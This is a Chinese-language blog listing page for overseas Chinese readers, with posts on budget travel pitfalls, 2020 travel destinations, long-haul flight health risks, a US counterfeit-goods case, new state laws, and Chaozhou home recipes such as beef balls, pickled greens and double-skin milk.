旅行是一种生活方式，开阔视野，增长见识，丰富人生体验。在腰包不足的时候，“省钱”的出游方式当然是需要考虑的，但俗话说“穷家富路”，有时出门在外千万别“省错钱”，反而造成一些不必要的麻烦，破坏了旅行的美好体验。玩得愉快最重要，花一些必要的小钱，可以提升旅行品质，何乐而不为呢？

1.避免疲累的早班飞机和夜班车
大家有过这样的经验吗？订了早班飞机的你，为自己省下费用而感到开心。但等到出发之前才发现，为了赶上班机，必须比平常的上班时间早3、4个小时起床，造成我们出发旅行的第一天睡眠严重不足。有时早班飞机的出发时间，甚至早于大众运输开始的时间，最后只好包车或者在机场附近住宿，开销更大，得不偿失！
更不要为了省住宿费用而搭乘夜班车，增加的旅行的安全风险，也会加重旅途的疲惫感。

2.预订机场附近的租车公司
当好不容易熬过一场长途飞行，下了飞机通过海关之后，最好就是在机场附近就能找到租车公司，并直接开着租车抵达目的地。有些位置偏远的租车公司，价格较为低廉，但想要“省钱”的结果，就是必须拖着行李，搭车到遥远的地方，这样不仅很累。而且客户较少的租车公司，有时接驳车的班次也会比较少，造成旅客刚下飞机又要等车，这种做法太过劳累又容易让人烦躁。

3.租车时需考虑马力和空间
小型车的租金一定比大型车低廉，但我们得先想清楚，旅途中有没有山路，这些山路的路况如何？你想要租的小型车马力是否足够开上这些路段？
除了车子的马力外，你也要考虑车内空间，就算是只有两个人的旅行，行李也需要足够的空间置放。建议你在选择车款时保守一些，以免人在异乡的我们，真的发生在山路上进退两难的困境。

4.不要住多人共用的房间
你可能会这样想，一间多人共用的房间能有多糟呢？毕竟，旅馆只是回去睡觉的地方，能省则省！但请试想一下，你的室友中只要有一个人会打呼，或者要赶凌晨的早班飞机，就可能破坏了你的睡眠品质，导致你在隔日行程中体力不支。真的不是每个人都能适应青旅的嘈杂。
订购个人房，可以确保你在旅途中精神饱满，能造访更多想去的景点和商家。或者，在适当的距离内，体力充沛的你才能行走更长的距离，省去一些搭车的费用。

5.多花点钱选机位
在花了不少钱购买机票之后，许多人都不会想再另外花钱“选位置”。如果你的航程较短，这么做倒也没有关系，但如果你是准备踏上一场“长途飞行”，那么事先选好位置就非常重要。毕竟，飞机上总会有些“地雷”位置，比如无法斜躺的椅子、靠近厕所的座位等，事先选位能让你免于这些困扰，别等到被上厕所的乘客吵到无法入睡时，才开始后悔。

6.别选择太慢的交通工具
在规划旅途时我们可能认为，搭乘较慢的轮渡、公车或火车既可以省钱，又有悠游异国的浪漫情调。在想像中，我们能用一种缓慢、轻松的心情浏览途中的风景。这听起来像是一种节省旅费的好方法，直到我们被困在极其缓慢的交通工具上，因为长时间拘束在座位上感到身心疲惫，才发现，事实不如想像中美好。
尤其当旅程需要转乘、换线时，慢车有更高的概率误点，一旦错过转乘的班车，整个行程势必大受影响。一位网友分享经验，为了省钱她曾从德国的曼海姆（Mannheim）全程搭慢车到波昂（Bonn），但因为慢车误点，最后3个多小时车程花了将近6个小时才抵达，成为旅途中的惨痛经验。

7.有些景点门票不能省
不少为了省钱的观光客，都认为只要在外面拍照、上传Facebook，代表到此一游即可。其实许多的观光景点虽门票不菲，却是代表当地历史、文化精华的场所。与其进行“拍照式”的旅游，记录许多自己到过的景点，倒不如挑些真正感兴趣的地方，玩个尽兴又彻底！
如果可以的话，更应该先提前预购门票，这些著名的景点，有时还会提供预购折扣。另外，如果您想体验的是国际级的景点，像：意大利罗马竞技场、德国新天鹅堡、法国罗浮宫等，提前购买快速通关的票卷，还可省下大把时间。毕竟出门在外，时间就是金钱！

8.购买旅行保险
外面的世界很精彩，但也充满变数。出发前给自己买一份旅行保险，可以给自己买一份心安，也是对家人负责的表现。

9. 不能省下食物的钱
在不同景点穿梭之中，免疫力也容易下降。身体健康第一，还是要吃的营养才能走长远的路。如果不幸在异国他乡病倒了，那才是真的得不偿失。

2020-01-06 / by happy1 / in 其它

2020年最想去的地方│全球最佳旅游胜地

全球旅游胜地，国家地理，2020全球最佳旅游胜地，危地马拉，埃及阿布辛贝，费城，捷克特尔奇，贵州，墨西哥普埃布拉，西班牙加那利群岛，澳大利亚塔斯马尼亚，英国威尔士之路，日本东北部地区。

《国家地理》的旅游专家团队发布在2020年的最佳旅行清单上的几个令人激动的旅游地点

危地马拉
最佳旅游季节：11-12月
危地马拉位于北美洲大陆的南部，北部与墨西哥接壤，属中美洲国家。虽然尚未公布于众，最新发现表明危地马拉是玛雅文化中心，最北端Petén地区应该是古代玛雅文化的起源地。危地马拉被人们称为“玛雅文化的摇篮”。
危地马拉有安提瓜危地马拉、玛雅遗迹基里瓜考古公园、蒂卡尔国家公园3处世界文化遗产。安提瓜以现代化为主，保留着大量的巴洛克式建筑；而另外两处则留下了一个又一个关于玛雅文明的谜，至今没有解开。
在危地马拉有超过一半以上的人口为玛雅人后裔，是中美洲唯一以土著文化为主的国家。在阿蒂特兰湖（Lake Atitlán）附近的玛雅村庄就能够体验到这种文化。

埃及阿布辛贝
最佳旅游季节：2-3月
阿布辛贝位于埃及南部，与苏丹接壤。最初由埃及法老拉美西斯二世建造，距今有三千多年历史。被沙子掩埋了数千年的神庙于1813年被考古学家发掘出来，是埃及的第二大旅游胜地。
拉美西斯二世神庙正面矗立着四座拉美西斯的巨大坐像，每尊座像高约20米(67英尺)。进入正门来到神庙内部，是一个约56米(185英尺)长的人造石洞，连接各个大厅和房间。
阿布辛贝神庙最神奇之处是建筑的朝向，旭日阳光每年两次穿过神庙幽深的内部石洞，照亮洞穴尽头的四尊坐像。

费城
最佳旅游季节：全年
费城是美国宾夕法尼亚州面积最大的都市，是美国第五大城市。费城同时是全美最大的大学城之一，其中包括常春藤盟校的宾夕法尼亚大学，美国国家第一所医学院和法学院兼缘于此校。费城的英文名“Philadelphia”，在希腊文中的意思是“友爱之市”。
费城是美国最老、最具历史意义的城市，1790年代，费城曾为美国首都10年之久，直到华盛顿特区的国会山庄建筑完工并开始使用才结束。
费城从一个上世纪上半叶的工业城市，现在慢慢地变成了一个富有创造力的制造城市，重现美国经典。
《国家地理旅行者》说，2020年是“重新发现美国经典”的绝佳时机。

2020-01-06 / by happy1 / in 律师/移民/金融, 移民生活

如何避免毛衣起球？生活达人教你正确去毛球

2020-01-06 / by happy1 / in 其它

华人回国过年坐长途飞机要注意这些问题

坐长途飞机的注意事项，坐飞机需要注意的问题，如何避免在飞机上出现身体不适，坐长途飞机引发的疾病，坐飞机应注意的健康问题。

过完西方的圣诞节，很快又要迎来中国的新年。很多华人会趁中国新年期间回国探亲，当然也就免不了要坐长途飞机。特别是坐经济舱的朋友们要小心了。

最近，仅在上海，10天内就接诊4名因坐飞机差点昏迷、偏瘫的外籍游客，其中一名44岁美籍游客的症状最严重——因为长途飞行，这名乘客当场昏倒在地。重症监护室的主治医师表示，这些乘客基本上都患上了肺栓塞。还有一名23岁的女乘客，直接在机场就脑梗了。

长途飞行会导致这么多疾病发生吗？上网搜索一下就会发现有很多类似病例，都是因为乘坐长途飞机引起的。

之前曾有过报道，一位从悉尼飞往温哥华机场的女乘客，也是因为长途飞行导致严重脑损伤，该乘客突发静脉血栓，头部动手术缝了50针，并留下了永久性的疤痕。

该乘客之后接受采访时表示，她下飞机后，就开始头晕、犯恶心，一开始以为只是太累了，后来才知道后果竟然这么严重。

而相似的案例，每年都在发生。根据医生的解释，乘客由于长时间在飞机上保持坐姿，可能会导致深静脉血栓，而如果出现头晕、恶心等症状后不及时就医，就可能导致病情恶化。严重者，血栓爆裂导致脑瘀血，不得不进行开颅手术，而查看脑血栓的诱发原因，其中10%都来自飞机上长途飞行。

2020-01-06 / by happy1 / in 其它, 医疗健康, 肠胃科/儿科/家庭医生

来美游客请注意：你在美国买的名牌包包可能是假的

出口转内销，外国买到中国假货，中国出口转内销假货泛滥，假包假表，山寨中国货，美国买到中国山寨

中国游客喜欢在海外买名牌，是全世界都知道的事情。不过，有些中国游客千里迢迢跑到海外以为买到正品，却没想到依旧有可能买到中国山寨货。

据美国媒体报道，一名34岁中国公民，在美国马里兰州涉嫌贩运假货，并冒充为正品货出售而遭捕。该名中国公民被控以串谋信件诈欺和信件诈欺罪，牟利超过200万元，日前在马里兰联邦法院认罪，若罪成最高面临25年监禁，将于明年3月12日接受量刑。

根据法庭文件，34岁的徐小英，从2016年8月到2019年4月被捕前，与其他同伙通过网络，从中国和香港进口珠宝、太阳镜等商品，然后运至其加州住所和办公室，收到货物后再对商品进行包装，贴上他们在美国注册的公司商标，转眼间就把山寨品变为正品，再利用网店销售这些假货。

因为他们人在加州，又是加州的公司，很多客户看见是在美国本地发出，就自然以为是正品。万万没想到竟是中国出口转内销的。

此外，徐小英还和同伙在全球在线支付平台开设帐户，购物者支付款打至这个帐户后，她和同伙再从这个帐户将钱转至自己银行帐户，或以支票形式寄给自己，从ATM上取现；他们通过这种方式赚得232万2845元。

2019年4月，徐小英和同伙之一的朱怡文被捕，控以串谋信件诈欺和信件诈欺罪等13项罪名。
联邦助理检察官罗伯特·赫尔表示，贩卖假冒商品不只欺诈消费者和合法经营的公司，导致消费者利润受损，更导致美国民众丢失工作，美国商业利润受损。

另据纽约ABC7号台报道，之前美国纽约警方就发现了一起史上最大的华人造假案。数量巨大的假货，全是从中国进口走私的，再分销至美国的纽约、加州和其他地区。这也就意味着，你在美国，买到的也有可能是假货。如果想购得正品，最好到专卖店购买，网购的话一定要多留意查看商家的可信度，以免买到假货。

2020-01-06 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

这些美国法律2020生效华人要当心

华盛顿州停止标明礼品卡的失效日期，伊利诺伊州要求大多数的洗手间设置换婴儿尿布台，内华达州防止已有疾病的保险遭拒，乔治亚州收紧虐童注册的要求，新泽西州宣布工资历史查询为非法，佛蒙特州推出强制性堆肥，阿肯色州禁止州资助之人类克隆。

据《今日美国》（USA TODAY）报导，2020年美国七个州生效的法律涵盖了民生社会的诸多方面，今天就为大家介绍下其中的内容。

华盛顿州停止标明礼品卡的失效日期
华盛顿州的企业将被禁止在2020年7月1日开始在礼品卡上标明失效日期。此项“HB1727法案”还保护礼品券用户不受到未激活或者收取服务费的影响。
但是，如果礼品卡为奖励或会员计划的一部分，则该礼品卡仍可以逾期失效。该法律也不适用于给慈善组织当作捐赠的礼券。
伊利诺伊州要求大多数的洗手间设置换婴儿尿布台
据该州“HB3711法案”，伊利诺伊州的餐馆、商店与其它带有公共洗手间的建筑物，必须至少设有一个婴儿尿布更换台。
从2020年1月1日起，该法律要求建筑物在洗手间中都必须各有一个换尿布台。建筑物的所有者还必须在洗手间入口附近设立显示标志，表明内部有一个安全且卫生的更换台。
该法律不包含禁止未成年人进入的酒吧和夜总会，以及加装更换台不可行或会阻止残疾人进到洗手间的情况。
在联邦建筑中，“（婴儿）在任何情况下都可以使用洗手间法案”已经要求在洗手间有更换尿布台。而加利福尼亚州的法律类似于伊利诺伊州，至于纽约州则要求在新的或者装修后的公共洗手间内设置。
内华达州防止已有疾病的保险遭拒

2020-01-06 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

【饮食文化】有一种美食，不分平民与贵族（首发原创）

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有一种美食，不分平民与贵族

（作者：草长莺飞）

巍巍华夏，泱泱大国，5千年的文化，8大菜系，56个民族，说不尽的美食故事，讲不完的美味佳肴。只要一提到饮食文化，来到海外的华人都有一种掩饰不住的自豪之情，谁都知道中华饮食文化博大精深、源远流长，是没有哪一个国家能媲美的。

中华美食影响深远，在世界各国的中菜馆，多数是以粤菜为主，并与享誉国际的法国美食齐名，以致很多海外人士都以为粤菜就是中华美食的代表菜系。

而我们今天要聊的话题就是与粤菜有关的潮菜，潮菜在传统饮食文化上虽说别具一格，但有些人可能没听说过。从另一个层面上解读，潮州菜系是我们华夏传统饮食文化的重要组成部分，最早可追溯到汉，及至盛唐过后，潮菜经过历史的沉淀，做为潮菜的代表之一，牛肉丸已经演变为独具文化特色、驰名海内外的中华名菜之一。

“牛肉丸”作为整个潮州乃至整个潮汕地区最知名、最大众化的小吃，老小皆宜，如果不是因为价格不菲，相信很多人都愿意一日三餐食用之。“牛肉丸”在潮州已有近百年历史，既可作为点心小食，流行于街头巷尾，又可作为一道名菜被摆上筵席。

潮州手锤“牛肉丸”，看似普通，实则堪称粤菜一绝。它在选材上，也绝非一般牛肉就能入选，一定要用新鲜的牛腿肉，去除筋后切成块，用两根特制的铁棒，每根约3斤重，双手左右开弓，用力轮流捶打，一直到牛肉打成肉泥。然后依据各自配方，加入蒜泥、盐、鱼露、味精等，继续捶打。一直捶打到肉泥粘手不掉下为止，握拳头从大拇指和食指成环状中挤出丸，再用羹匙把丸子掏下来，放到80度的用牛骨头或牛肉熬制的汤盆里定型，用文火煮约8分钟后捞起牛肉丸，放凉后装好放到冰箱冷冻。

潮州手打牛肉丸最大的特点，就是入口弹牙，久煮不烂，弹性十足。煮食牛肉丸时，如果是在外面小吃店吃，一般店家用原汤和牛肉丸下锅煮至初沸，加入适量味精、芝麻油、胡椒粉加几片菜叶或放些紫菜，吃的时候再配上当地特色沙茶酱，那简直是美味至极，回味无穷。

当牛肉丸，遇见了沙茶酱，便成了绝配！

潮州牛肉丸作为潮汕饮食文化上最具代表的拳头食品，传承了潮菜的精髓，并以独特的制作方法和独一无二的口感，诠释了潮州民众对饮食文化的精益求精。窥豹一斑足见全貌，从潮州牛肉丸的做工上，足见潮州人对日常饮食的工夫非常了得，就像潮州工夫茶一样让人啧啧称赞不已！

潮州牛肉丸实则是分为净牛肉丸和牛筋丸两种的。净牛肉丸口感爽脆，具有浓郁的牛肉味，特别好吃。但我更偏爱牛筋丸，因为特别有嚼头，满满一口咬下去，鲜香浓郁，香到喉里，流到胃里再荡漾开来，感觉所有的汗毛孔都在为这味道而敞开，这种感觉让人难忘，全身的细胞都在欢呼！

潮州牛肉丸的另一种最常用的吃法，也是牛肉丸的另一种做法，就是与潮州的果条，结合在一起，又演绎出另一种无与伦比的美食传奇，一直深受当地人与游客的喜爱，更是宵夜必点的小吃之一，它的知名度，也一直是居高不下。这种潮州的果条，是用米浆做成的，与珠三角一带的河粉，是两个不同的品种，口感完全不同，但乍看上去，貌似“姐妹”。

在潮州，或潮汕一带，不管红事，白事，凡是大宴会，不管是以前的，还是将来的，永远不会缺席的，试问天下食货，除了“牛肉丸”，还有哪道菜能享有此“殊荣”？

如果有一种美食，既出得了平民百姓的巷尾街头，又进得了贵族的盛宴之堂，应“潮州牛肉丸”莫属了！

潮州咸菜介绍

作者：草长莺飞

去过潮州旅游的朋友都知道，潮州好吃的小吃太多了，除了其他地方吃不到的潮汕牛肉丸（又称潮州牛肉丸或汕头牛肉丸），还有潮州咸菜，也叫酸咸菜，同样也是在其他地方都吃不到的。

潮州咸菜，用的是潮汕地区种的大介菜，此种介菜不像山东介菜，平时不拿来当青菜炒着吃，专门是种来腌咸菜的。来到海外后，虽然各种中国超市也有有贩卖小袋装的潮汕咸菜，但试吃过后都感觉失望，里面含的各种化学用品，吃起来不但不脆，而且还软且味道不纯。

后来再逛超市时，发现有些中国超市还有贩卖潮汕一带的南姜，还有介菜，于是就便开始酝酿如何用最简单的方法，制作最正宗、好吃的潮州咸菜了。

在潮汕地区用来腌咸菜的酝子是用陶制品，到了海外，没这个条件，可换成密封的玻璃罐。我由于没找到玻璃罐，只能退而求其次，找了一个塑料罐代替。

如何制作潮州咸菜

下面就直奔主题，把这款简易版的在家自制潮汕咸菜，给大家详解一下。

材料：

介菜一颗，南姜一块，盐适量，罐子一个。

洗好晾干的介菜

步骤：

1.第一步先把介菜洗干净，晾干。备注：此方的介菜不必烫熟，有别于其他版本的咸菜做法。

2.第二步把南姜用料理机磨成粉，或直接用刀背拍碎。

洗净晾干的南姜

3.把适量的盐用凉开水调好。

4.把南姜粉放到盐水里。

磨好的南姜粉和南姜碎块

5.把晾干的介菜，切成块，放到罐里码好。

6.把南姜盐水倒在罐里，水淹到介菜即可。

介菜放到罐里码好

7.腌五六天就可以吃了，这个时候是最脆的。

8.第六天开始要放到冰箱去保存。

咸菜制作完毕封盖存放起来

潮州咸菜食谱

腌好的咸菜，如果腌时不小心盐放多了，在想吃的时候就用凉开水或纯净水泡一下，泡到淡时就可以直接送粥或切小炒肉了。这里给大家推荐几款用咸菜做的美食：

第一款：咸菜炖猪肚，将猪肚洗净后跟胡椒粒，用电高压锅煮到软，我用的电高压锅大概是10分钟，再把咸菜切片放进去和猪肚一起煮，煮七分钟左右，即可出锅。我喜欢喝猪肚咸菜的原味汤，所以出锅不加任何调料，包括鸡精，葱或香菜都不加。

咸菜猪肚汤

这里顺便介绍下洗猪肚的秘方，有很多人推荐用淘米水或茶叶水，甚至用盐和醋来洗，其实这些都不是最好的，洗完后，还是有味道的。要想完全洗的干干净净，无任何异味，请记住了，一定要用面粉，就是用来做馒头包子的面粉。这个方法也适用于洗猪大肠等味道比较大的动物内脏，当然了，除非你是对猪大肠那种天然的味道情有独钟那就另当别论了。

第二款：素炒咸菜，把咸菜切片，锅里爆香蒜头，放咸菜翻炒，我一般是在炒咸菜之前，把咸菜泡的淡一些，快出锅时就可放一点海天或珠海酱油去炒，全过程大概也就五分钟，不要炒太久，以免炒老了，把咸菜炒的软软的不好吃。

第三款：搭配潮汕牛肉丸一起煮成汤，味道特别好，开胃又好吃。

第四款：挑选咸菜的叶子，切碎和肉碎炒好，可做成饺子或包子的馅。在潮州，是用来裹果条的，这又是潮州的另一种名小吃了，叫做粿条卷。

潮州小吃：粿条卷

第五款：鸡肫（鸡胗）或鸭肫（鸭胗）切片，也可以用肉片，猪肚片，猪大肠等都行。炒时可把肉用酱油和淀粉腌好，锅里爆香蒜头，翻炒肉片和圆椒，再放咸菜进去小炒装盘。

第六款：就是直接食用，把咸菜用水泡淡后，吃一口馒头时咬一小块咸菜，真是美味极了！如果做的菜比较油腻，比如五花肉炖粉丝或卤水肉下饭，一碗饭还没扒几口就腻的不得了，如果刚好有咸菜，那就太完美了，吃几口容易油腻的菜，再咬一小块咸菜，把油腻给冲走或冲淡，吃起来就舒服无比了。

南姜介绍

关于南姜的介绍，据记载，在古埃及时代，南姜被用作为烟熏材料。中古世纪时，南姜在欧洲，被做为药材与辛香料使用。

到了今天，在潮汕地区南姜是使用最广的，发挥价值最多的地方。而在东南亚，尤其是在泰国与马来西亚，可能受潮汕华人的影响比较大，南姜到处都能看到出售，就连夜市的摆地摊的菜摊，都把南姜与其他品种的姜一起贩卖。

可能大家对于驱风油，二天油，万金油，清凉油都不陌生吧，在中国，几乎是家庭必用品。而这些清凉油的主要原料就是从南姜提取出来的。

南姜具有温胃散寒，消食止痛的作用，一般人群皆能食用。

南姜食谱

关于南姜，还用另一种美食做法，也是我在海外最爱吃的一种家常菜，就是用南姜焖白菜鱼。鱼最好是自家腌的腊鱼，我是买超市的鱼干替代腊鱼的。

南姜焖白菜鱼

做法，简单说一下，就把鱼洗净晾干后，放锅里用油炸透，爆炒蒜头，再炒下白菜和干辣椒，放南姜和水煮，煮到白菜熟软即可，快出锅时可看个人喜好，放芹菜或葱即可。

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2020-01-05 / by happy1 / in 生活/美食/家居, 美食天地

【金牌美食】中式美食之甜点：实而不华（原创首发）

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中式美食之甜点：实而不华

作者：草长莺飞

潮汕汤圆――公孙父子丸

汤圆，作为中国传统的名小吃代表之一，据传最早起源于春秋时期，盛行于晋朝。据传晋朝人士非常酷爱吃汤圆，春夏秋冬四时皆食之。

汤圆，在南方一曰汤团；北人谓之曰元宵。在唐代与北宋时，称汤圆为“牢丸”，南宋时，称其为“圆子”。宋朝大诗人苏东坡，曾挥笔写下：岂惟牢丸荐古味，要使真一流天浆（见《游博罗香积寺》），足见在北宋，“牢丸”就是汤圆的通俗叫法。

潮汕冬节丸（圆）

汤圆，是用糯米粉做成圆形小球，分为有馅与无馅两种，有馅的一般比实心、无馅的大。有馅的在各种超市都能购买到，这里要介绍的是非常有特色的潮汕手工实心汤圆。

潮汕文化是古中原文化的遗存，潮汕文化内涵丰富，多姿多彩，历史悠久且独具特色。最令人瞩目的是它的古老与独特，比如在潮汕地区，不说吃汤圆，而称 “食丸（圆）”，这与唐代和北床的“牢丸”的古老叫法，是不是更为接近？

冬至，潮汕人不叫冬至，而叫冬节。冬节在潮汕一带，是一个具有文化色彩的非常隆重的传统节日，不但是用来祭祖，更是家人团聚在一起的传统节日，被潮汕当小年过，甚至有“冬节大如年”的说法，是潮汕人很重视的一个节日。当地有句谚语：吃过冬节圆，就算大一年。所以吃过冬节圆，小孩都会高高兴兴的逢人必说：我又长大一岁啦。

作为冬节必吃的甜点，这道潮式汤丸是令人回味无穷的，一般都是家里的妈妈或奶奶，在冬至的前一天晚上，准备好一个箶（用竹篾编织成的平底圆形器具，潮汕每家每户必备之生活用品），还有一个用来和糯米粉的盆子及烧开的水。搓糯米粉也是需要工夫的，要把糯米粉搓揉到表面光滑不沾手，再搓成长条状，大家围在一起，各自捻成小块放在掌心搓成圆形，放入箶里晾晒。冬节丸以搓得大大小小参差不齐最为好，这叫“父子公孙丸(圆)”，象征着岁暮之际一家人圆圆满满，幸福平安！

等全家人搓完“冬节丸”后，妈妈或奶奶就会把一锅红糖水煮开，把搓好的“冬节丸”放进去锅里煮，煮至汤丸浮上来便意味着熟了。煮的时候，可依个人口味添加些佐料至汤里煮，比如陈皮、橙皮，或西米露、水煮鸡蛋、枸杞等。

潮汕冬节丸（圆）

大约在晚上8到10点钟左右，也就是睡觉前，家里一众大大小小，每个人都盛一碗冬节丸，碗里放着一把陶瓷小汤匙，全家一起慢慢享用这道一年一度才做的冬节甜汤。潮汕有“冬节丸，一食就过年”的民谚，俗称“添岁”，表示年虽还没有过，但大家已增加了一岁。所以冬节的前一晚上，煮好汤圆没顾得上吃的小孩，在冬至日当天一早起床后，就要补上一碗冬节丸，寓意是吃了冬节丸，又长大了一岁，小孩会变得更加懂事更有长进了。

话说回来，潮汕的这道纯手工汤圆，虽然是实心无馅的，可是吃起来非常有筋道和软糯，比起外面超市里各式各样的花生芝麻汤圆，口感不止略胜一筹哦，大家有机会不妨尝试一下。

绿豆爽――潮州小吃

潮州绿豆爽，这款甜品，与珠三角一带的绿豆糖水，虽然都是绿豆甜点，但做法可不一样，口感更是完全不同。由于潮汕人喜欢吃绿豆爽，所以在超市里都能买到去皮成两半的绿豆。

特别是冰镇好的绿豆爽，不但碧黄碧黄的，看着养眼，而且口感细腻润滑，解渴祛暑，是一道夏天清热消食的最佳甜品小食。这款甜点，老小均可食用，特别是爱美的年轻姑娘和高血压人群，喝了能起到养颜减肥和缓解高血压的功效，但正在吃补品的朋友不宜食用。

潮州小吃－绿豆爽

“绿豆爽”甜点做法：

1.把去皮绿豆，泡上6至8个小时，用手捞起来一捏，如果能捏碎，便可捞起备用。

2.锅里放适量的水，加白糖或冰糖煮开，同泡好的绿豆一起约煮20分钟。

3.最后放入稀释好的薯粉水，倒进锅里搅拌均匀，成品就是晶莹透明的，很好看。

4.这款甜品，也能充分发挥美食灵感，可按个人爱好，加些马蹄或西米露、银耳同煮。

黑枣五花肉甜汤――被遗忘的美食

这道传统的潮汕甜点浓汤，经过历史的深沉，早已失传多年。在七八十年代时，那些爷爷奶奶一辈的，都特别喜欢这道甜汤，主要原因是那时吃肉并不像现在这么普及，所以这道甜点并没有因为过于肥腻而被人们遗忘。喜欢吃这道甜汤的人，也不觉得过于肥腻，因为五花肉的肥油和冰糖，放在砂锅里炖，都被黑枣给吸收的颗颗饱满，甜汤是带着浓浓的肉香与冰糖的甜味，若有幸吃上一小碗，在后面吃不到的日子里，总有一种怅然若失的感觉！

此道甜汤中的黑枣，可不是红枣，黑枣的个头比东北的大红枣还要大，在潮汕地区深受喜爱，煮甜点中放上几颗都能增味不少。

顺德大良双皮奶――软滑甘香

高脂纯牛奶

最后介绍的这款甜点，是顺德双皮奶，又称双皮炖奶，始创于清朝末期，是当时养牛贩卖牛奶的奶农无意发明的，因口感软滑香甜广受欢迎，并流传至今。

作为顺德的传统美食，双皮奶不但新鲜，健康，美味，一直是广东流传多年的“中华名小吃”。最令人啧啧称奇的，奶皮不但分成两层，而且口感竟然各异。其状洁白如膏脂，口感细腻嫩滑，恰似新生婴儿肌肤般吹弹即破，清甜浓香，无比软滑，在口中慢慢扩散，唇舌难忘，真是好吃到极点！

由于双皮奶的颜值高，味道美，不但是顺德的名小吃，更是“中华名小食”之一，在广州、香港、澳门也是最热门的著名小吃，如今已演变成一道走出国门的中传统小甜点，驰名于海内外。

不过双皮奶的用料是很讲究的，重要的是选材，所选牛奶最好是当地的水牛奶，做出的双皮奶才能保证香、滑、浓。

材料：

顺德水牛奶。特别提示一下，在海外做这款甜点，没可能买到水牛奶，只能选全脂鲜奶，最好是脂肪含量高的纯牛奶。
蛋清。蛋清的多少取决于牛奶，如果是200毫升的牛奶，建议只打一个鸡蛋清。
适量的糖，1到2小勺。

顺德双皮奶

做法：

纯牛奶放入碗中，用一层保鲜膜把碗蒙上，放入蒸锅中，约蒸十分钟。
把蛋清搅拌均匀备用过滤掉泡沫备用。
把蒸好的牛奶，快速放到第一个碗里，等放凉后，即可看到一层奶皮凝成。
用刀把凝成的蛋皮挑开划出一小口，除了保留这层奶皮与四分之一的牛奶外，其他的牛奶全倒在第二个碗里。
再把蛋清和第二个碗里的牛奶液搅拌均匀后，再用筛子过滤出来。
把过滤好的奶液，慢慢的倒进有奶皮的第一个碗里。这个时候，要沿着碗壁倒进去，不要把奶皮冲散或倒在奶皮上面。
倒完第6步骤的奶液，你可看到这碗蛋清牛奶，还飘着一层奶皮。
然后把上面这碗奶液，盖上盖子，放到蒸锅里蒸20分钟左右即可。
蒸完后，记得先不要揭开盖，接着再闷五分钟便大功告成了。

温馨小提示：身在海外的华人，若是实在怀念顺德的双皮奶，也只能自己潜心学一下如何用传统工艺制作这道甜点了，因为很多奶茶店里的双皮奶，已经被香精与明胶和奶精所代替了，无法吃出绵软顺滑细腻的口感，那种天然的、健康的浓郁奶味，已经变成乡愁了！

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【金牌美食】五彩缤纷泰式水晶汤圆看着养眼吃着养胃喝着暖心（原创）

专栏作者：草长莺飞

汤圆是中国的传统小吃，起源于宋朝，在江南一带，每逢冬至，必吃汤圆。但传统的汤圆，是用糯米做的，吃的久了，也感觉不新鲜了，甚至都觉得有点腻味了。

那么现在就来个翻新的，给大家做一个极具创意的、口感极Q弹的，看着养眼，吃着养胃，喝着暖心的五彩缤纷泰式汤圆。

材料：

1．红番薯、土豆、南瓜、紫薯、芋头

2．薯粉，也叫芡粉

3．一个大汤勺或锅铲

4.一个用来搓番薯泥的大铁盆

做法（以番薯为例）：

1．把番薯切成块状，放电饭锅加水煮熟。

2．把熟番薯捞起，用大铲压成泥后，趁热加薯粉（一个番薯约放一碗薯粉），搓揉20分钟后，变成粘性的番薯泥团。

3．掐一块番薯泥，用手搓成一根香肠状，然后用刀切成小块。

4．将切成小块的番薯丸，均匀撒上薯粉后，放进盒里，装好一盒后，可放冰箱冷冻，想吃时就拿出来煮。

5．如果喜欢圆形的，也可以按传统汤圆的做法，掐一块搓成圆形。当然用刀切成块的做法，简单利落又节省时间，这两种做法的口感都一样的。

6．煮番薯汤圆时，把水烧开后下番薯丸，再根据个人口味，放冰糖、椰子糖或桂花进去煮五分钟左右即可。

7．喜欢泰国口味的，煮的时候适量加一些椰子汁进去，便大功告成啦。

温馨提示：

1.土豆丸、南瓜丸、紫薯丸、芋头丸的做法，与番薯丸类同。

2.这道五彩缤纷水晶汤圆，口感极Q，其颜值与营养价值极高，有美容养颜、润肠通便等功效，喜欢糖水点心的朋友不妨尝试下。

3.三岁之内的小孩的，吞咽反射尚未发育完善，禁吃汤圆，千万要记得，以免发生意外。

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【金牌美食】吃肉的看过来牛肉这样做家里没剩饭（原创）

专栏作者：草长莺飞

牛肉的做法很多，但有一种做法一直是我的最爱，而且是一肉两吃法，就是一块牛肉，同时做出两款不同的菜肴，可谓是“一石二鸟”啊。

这就是传说中的酱牛肉，这道菜始于清代中期，由河北沧州地区的回族经营者刘禄所创制。但时至今天，这道菜的做法已经有不同的版本。今天所要介绍的版本就是最简单易学的家常酱牛肉。

材料：

萝卜两根

牛腱一公斤

花椒，麻椒适量

姜小块、蒜头几瓣、葱两颗

酱油一小碗

糖半勺

香菜一颗

八角两颗

第一道是牛肉汤煮萝卜，做法：

1.牛肉泡冷水半个小时捞起，切成几大块

高压锅里加冷水，放姜、花椒，水没过牛肉

炖25分钟，关火，牛肉捞起备用

高压锅里的牛肉汤，放切成块的萝卜，加少量孜然、盐进去炖20分钟，至萝卜炖烂

萝卜和汤装碗，放香菜和白胡椒粉调味即成，吃萝卜喝汤，鲜美无比

酱牛肉做法

1.锅里热油，爆葱、姜、蒜、花椒和麻椒，翻炒2分钟

2.翻炒后加水，加一小碗酱油、半勺糖和八角两颗

3.牛肉放进去煮15分钟

4.煮好的牛肉放冰箱泡一夜

5.第二天把牛肉切成片和香菜拌一起

6.喜欢香油和黄瓜的，可以把黄瓜切成丝，然后和香油及香菜一起拌好

7.酱牛肉的汁可用来煮面或煮河粉，味道非常不错

试想一想，喝着鲜汤，吃着萝卜，嚼着酱牛肉片，再来一碗香米饭，真是美哉，人生如此，夫复何求？

注：牛肉有补脾健胃，活益气血的功效，还能起到抗衰老作用。但皮肤病与肝病、肾病者忌食。

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2020年旅游美国必买物品│去美国必买清单│美国免税店热销排行榜

美国必买零食，美国必买包包，美国必买保健品，叶黄素，VC，维骨力Move free，美国必买物品，美国必买服装，美国免税店热销排名

无论是来美国旅游购物或者是回国探亲，都需要买伴手礼 ,今天就带大家了解下美国哪些好物必买。

美国必买零食

美国人爱吃薯片和各式各样糖果，糖果类像是小熊软糖，各式各样的酸糖造型都很可爱，可以买大包装 ,这样比较适合送礼。还有各种坚果，特别适合送长辈，而且同一种坚果有很多种口味。各种美国风味饼干也是不错的选择，棉花糖米酥，小熊饼干，Gold fish。

巧克力也是必买零食，价格也合理。

美国必买包包

